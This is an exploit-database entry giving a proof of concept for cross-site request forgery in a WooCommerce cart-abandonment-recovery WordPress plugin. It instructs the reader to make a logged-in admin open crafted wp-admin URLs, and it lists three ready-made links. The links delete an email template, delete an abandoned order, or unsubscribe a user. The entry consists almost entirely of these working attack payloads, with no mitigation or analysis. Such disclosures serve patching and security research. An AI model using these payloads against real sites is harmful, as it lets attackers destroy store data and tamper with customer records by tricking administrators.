## https://sploitus.com/exploit?id=WPEX-ID:C740ED3B-D6B8-4AFC-8C6B-A1EC37597055
Make a logged in admin open one of the URLs below
- To make them delete the Email Template with ID 1:
https://example.com/wp-admin/admin.php?page=woo-cart-abandonment-recovery&action=email_tmpl&action2=email_tmpl&sub_action=delete_bulk_email_tmpl&id[]=1
- To make them delete the abandoned order with ID 1:
https://example.com/wp-admin/admin.php?page=woo-cart-abandonment-recovery&action=delete&action2=delete&id=1
- To make them unsubscribe the user from the abandon order with ID 1:
https://example.com/wp-admin/admin.php?page=woo-cart-abandonment-recovery&action=unsubscribe&action2=unsubscribe&id=1